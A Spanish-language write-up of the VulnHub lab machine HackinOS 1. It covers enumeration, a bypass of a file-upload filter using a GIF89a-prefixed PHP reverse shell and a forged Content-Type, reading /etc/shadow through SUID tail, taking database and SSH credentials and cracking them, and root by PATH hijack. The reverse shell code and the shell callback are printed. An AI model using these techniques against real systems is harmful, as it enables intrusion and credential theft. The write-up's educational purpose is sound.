La máquina en cuestión se encuentra publicada en la pagina de vulnhub.com,  el enlace de descarga es el siguiente:

https://www.vulnhub.com/entry/hackinos-1,295/

Enumeración

Con un primer escaneo encontramos los puertos 22 y 8000 abiertos:

root@kali:~# nmap -p- 172.31.255.112
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET
Nmap scan report for 172.31.255.112
Host is up (0.00010s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.65 seconds

Con la opción -A de nmap detectamos el fichero upload.php y el directorio uploads:

root@kali:~# nmap -A 172.31.255.112
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-03-12 21:41 CET
Nmap scan report for 172.31.255.112
Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: WordPress 5.0.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 2 disallowed entries
|_/upload.php /uploads
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blog – Just another WordPress site
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 172.31.255.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

Si accedemos vía web a upload.php, nos encontramos con un formulario para poder subir una imagen:

 

Si examinamos el código fuente de la página encontramos una URL hacia un repositorio de github:

root@kali:/usr/local/src/Osmedeus# curl http://172.31.255.112:8000/upload.php
<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>

<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
</body>
</html>

La url del github nos lleva hacia el codigo fuente del upload.php:

 

Sandboxing con Docker

Ahora que tenemos el código fuente lo vamos a ejecutar en un docker en local para comprobar su comportamiento:

~/docker# cat Dockerfile
FROM debian:9
RUN apt-get update && apt-get -y install apache2 php
EXPOSE 80:80
ADD https://raw.githubusercontent.com/fatihhcelik/Vulnerable-Machine---Hint/master/upload.php /var/www/html/
RUN mkdir /var/www/html/uploads && chown www-data:www-data -R /var/www/html/
CMD ["bash"]

En el mismo directorio que hemos creado el Dockerfile, ejecutaremos el siguiente comando para poder crear una imagen:

docker build -t hackinios .

Levantamos el container a partir de la imagen que hemos creado anteriormente:

docker run -itd --name hackinios --hostname hackinios hackinios

Nos conectamos al container y levantamos el apache:

~/docker# docker exec -it hackinios bash
root@hackinios:/# /etc/init.d/apache2 start

Para poder extraer la ip del container:

# docker inspect hackinios | grep IPAddress
WARNING: Error loading config file: /root/.docker/config.json: read /root/.docker/config.json: is a directory
"SecondaryIPAddresses": null,
"IPAddress": "172.17.0.3", 
"IPAddress": "172.17.0.3",

Ahora accedemos vía web al docker, y probamos de subir una imagen png. Una vez subido el archivo, nos aparecerá un mensaje «File uploaded /uploads/?»:

 

Veremos aparecer el archivo en cuestión en el directorio de uploads:

root@hackinios:/var/www/html/uploads# ls
e1bcd3d4f779348f54702c4e20c400af.png

Vamos a añadir una nueva variable dentro del fichero upload.php para mostrarnos más información:

$file_name2 = basename($_FILES["file"]["name"].$rand_number);

Ahora si subimos vía web un archivo png, podemos ver que utiliza el nombre del fichero y a continuación un número random del 1 al 100 para realizar el hash:

Para poder sacar este hash por bash, ejecutamos el siguiente comando:

$ echo -n dc.png65 | md5sum | awk {'print $1'} 
3ee15fb3d03541ba72f445cf59e67f4d

Si accedemos al directorio uploads encontramos el fichero con la extensión .png:

Para poder encontrar el fichero una vez subido, vamos a crear el siguiente script:

#!/bin/bash
IP=172.17.0.3
for i in {1..100}; do
    FILE=`echo -n dc.png$i | md5sum | awk {'print $1'}`
    echo "$i"
    echo "$FILE"
    echo "http://$IP/uploads/$FILE.png"
    curl -I http://$IP/uploads/$FILE.png
    echo "------------------------------------"
done

Lo ejecutamos y el resultado lo enviamos a un fichero, dentro de este buscamos «200»:

./script.sh > /tmp/result
------------------------------------ 
65 
3ee15fb3d03541ba72f445cf59e67f4d 
http://172.17.0.3/uploads/3ee15fb3d03541ba72f445cf59e67f4d.png 
HTTP/1.1 200 OK 
Date: Fri, 22 Mar 2019 12:42:39 GMT 
Server: Apache/2.4.25 (Debian) 
Last-Modified: Thu, 21 Mar 2019 18:43:15 GMT 
ETag: "74eb-5849f1c6d7f17" 
Accept-Ranges: bytes 
Content-Length: 29931 
Content-Type: image/png 

Reverse shell

Ahora volvemos a la maquina victima, subiremos una reverse shell por PHP, primeramente ponemos a escuchar nuestro Kali por el puerto 8085:

nc -vlp 8085

Nos descargamos la siguiente shell:

wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz -O /tmp/php-reverse-shell-1.0.tar.gz
tar -xvzf /tmp/php-reverse-shell-1.0.tar.gz
vi /tmp/php-reverse-shell-1.0/php-reverse-shell.php

Tendremos que relizar dos cambios:

  • Añadir «GIF89a;»  antes de la apertura del código «<?php» .
  • Configurar la IP de nuestro Kali y el puerto por donde escuchará el servidor de netcat, en nuestro caso el 8085.

Ejemplo de las modificaciones a realizar:

GIF89a;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.31.255.129'; // CHANGE THIS
$port = 8085; // CHANGE THIS
................. resultado omitido

Una vez tengamos el archivo modificado, vamos a configurar Burp Suite para que haga de proxy y poder interceptar el fichero de antes de enviarlo a la maquina victima. El funcionamiento es el siguiente:

 

Para configurar burp suite:

Proxy -> Options -> Add

 

Habilitamos la intercepción del tráfico, esta opción nos permite retener todas las peticiones, para reenviarlas al servidor de destino tenemos que hacer click en Forward:

Vamos a cambiar el nombre de la shell que hemos modificado anteriormente:

cp /tmp/php-reverse-shell-1.0/php-reverse-shell.php /tmp/back.php

También lo editaremos en nuestro script:

#!/bin/bash
IP=172.31.255.112:8000
for i in {1..100}; do
   FILE=`echo -n back.php$i | md5sum | awk {'print $1'}`
   echo "$i"
   echo "$FILE"
   echo "http://$IP/uploads/$FILE.php"
   curl -I http://$IP/uploads/$FILE.php
   echo "------------------------------------"
done

Desde nuestro Kali, nos conectamos a la URL de proxy y subimos el archivo back.php:

Una vez interceptada la petición HTTP modificamos el Content-Type del archivo:

Por «image/png», una vez realizada la modificación hacemos click en forward:

Inmediatamente después lanzamos nuestro script y veremos que recibimos un input en la sesión de netcat de nuestro Kali:

root@kali:~# nc -vlp 8085
listening on [any] 8085 ...
connect to [172.31.255.129] from localhost [172.31.255.112] 33786
Linux 1afdd1f6b82c 4.15.0-46-generic #49~16.04.1-Ubuntu SMP Tue Feb 12 17:45:24 UTC 2019 x86_64 GNU/Linux
10:50:16 up 16 min, 0 users, load average: 0.16, 0.06, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Examinando los procesos que se están ejecutando encontramos un script que elimina los archivos php:

$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 2.7 388000 27072 ? Ss 10:33 0:00 apache2 -DFOREGROUND
root 77 0.0 0.2 17964 2816 ? Ss 10:33 0:00 /bin/bash /etc/init.d/delete.sh
www-data 94 0.0 1.6 388472 16524 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 95 0.0 3.2 464988 32364 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 96 0.0 3.5 464996 35408 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 97 0.0 1.7 388276 17180 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 98 0.0 1.8 388472 17996 ? S 10:33 0:00 apache2 -DFOREGROUND
www-data 107 0.0 1.6 388472 15920 ? S 10:48 0:00 apache2 -DFOREGROUND
www-data 108 0.0 0.0 4292 760 ? S 10:50 0:00 sh -c uname -a; w; id; /bin/sh -i
www-data 112 0.0 0.0 4292 788 ? S 10:50 0:00 /bin/sh -i
root 121 0.0 0.0 4200 708 ? S 10:58 0:00 sleep 300
www-data 122 0.0 0.2 36640 2788 ? R 10:59 0:00 ps aux
$ cat /etc/init.d/delete.sh
#!/bin/bash

while [ 1 ]
do
    rm -rf /var/www/html/uploads/*.php
    sleep 300
done

Si echamos un vistazo los archivos ya subidos, nos encontramos que el archivo php ya ha sido eliminado. Pero el proceso de la reserve shell se ha quedado ejecutándose en memoria, por ese motivo seguimos conectados:

ls /var/www/html/uploads
16a94d7bdc9619fe97531ed8f99e7d5e.png
70b6f4ccb51b2797fbc036fa50adcbf1.png
7972ef5808a097e78636aa4d9fbdbcd5.png
86799f84056fa88c1d2b3347c294c9fd.php
a339ee1ff76b5e3e89089fc15294288b.png
a97124a3920dbe7401e125c36292f794.png
b2bd67014831775a508edddf595d22e3.png

El rango de red del equipo es el que se utiliza por defecto para los Dockers:

$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.2 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ac:12:00:02 txqueuelen 0 (Ethernet)
RX packets 4069 bytes 400904 (391.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3173 bytes 285214 (278.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

A nivel de arp vemos mas containers dentro de la red, en concreto dos más a parte del default gateway:

$ arp -an
? (172.18.0.3) at 02:42:ac:12:00:03 [ether] on eth0
? (172.18.0.1) at 02:42:7f:62:28:ba [ether] on eth0
? (172.18.0.4) at 02:42:ac:12:00:04 [ether] on eth0

Buscamos archivos con el suid modificado y encontramos tail:

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/tail
/usr/bin/chfn
/bin/mount
/bin/umount
/bin/su

$ ls -liath /usr/bin/tail
170237 -rwsr-xr-x 1 root root 67K Feb 22 2017 /usr/bin/tail

Listamos el shadow con éxito:

tail -n 100 /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

Acceso a la BDD

La BDD se encuentra en otro container en concreto con la IP 172.18.0.3:

$ cat wp-config.php | grep DB
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress');
define('DB_HOST', 'db:3306');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
$ ping db
PING db (172.18.0.3) 56(84) bytes of data.
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.062 ms

Abrimos una shell con python y nos conectamos a la bdd remota:

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@1afdd1f6b82c:/$ mysql -h db -u wordpress -p wordpress
mysql -h db -u wordpress -p wordpress
Enter password: wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 17
Server version: 5.7.25 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [wordpress]>

Dentro de la BDD de wordpress encontramos una tabla con las credenciales de SSH:

MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.02 sec)

El password que hemos encontrado es un hash md5:

root@kali:/tmp# hashid e10adc3949ba59abbe56e057f20f883e
Analyzing 'e10adc3949ba59abbe56e057f20f883e'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128

Utilizamos john ripper para desencriptar el hash:

root@kali:/tmp# echo e10adc3949ba59abbe56e057f20f883e > hash.txt
root@kali:/tmp# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
1g 0:00:00:00 DONE (2019-03-17 23:12) 100.0g/s 1200p/s 1200c/s 1200C/s 123456..daniel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ya tenemos acceso con el usuario hummingbirdscyber y las credenciales 123456 contra la maquina 172.31.255.112:

root@kali:/tmp# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-46-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

104 packages can be updated.
0 updates are security updates.

Last login: Fri Mar 1 23:58:08 2019 from 192.168.1.31
hummingbirdscyber@vulnvm:~$

Escalar privilegios

Lo primero que verificaremos son los permisos de sudo del usuario:

hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber:
Sorry, user hummingbirdscyber may not run sudo on vulnvm.

Buscamos ficheros con permisos SUID:

hummingbirdscyber@vulnvm:~$ find / -perm -u=s -type f 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/bin/mount
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/fusermount
/bin/ping

Encontramos el siguiente fichero a.out:

hummingbirdscyber@vulnvm:~$ ls -liath /home/hummingbirdscyber/Desktop/a.out
543355 -rwsr-xr-x 1 root root 8,6K Mar 1 23:25 /home/hummingbirdscyber/Desktop/a.out

Si analizamos el contenido del fichero vemos que ejecuta el comando whoami y sin el path absoluto:

hummingbirdscyber@vulnvm:~$ strings /home/hummingbirdscyber/Desktop/a.out
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
whoami
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609

Vamos a modificar el path de búsqueda para que ejecute el binario /bin/bash como root:

cd Desktop/
ln -s /bin/bash whoami
export PATH="/home/hummingbirdscyber/Desktop"

Ejecutamos el script:

Volvemos a modificar el PATH de búsqueda:

Ahora ya podemos acceder al directorio root para encontrar la bandera: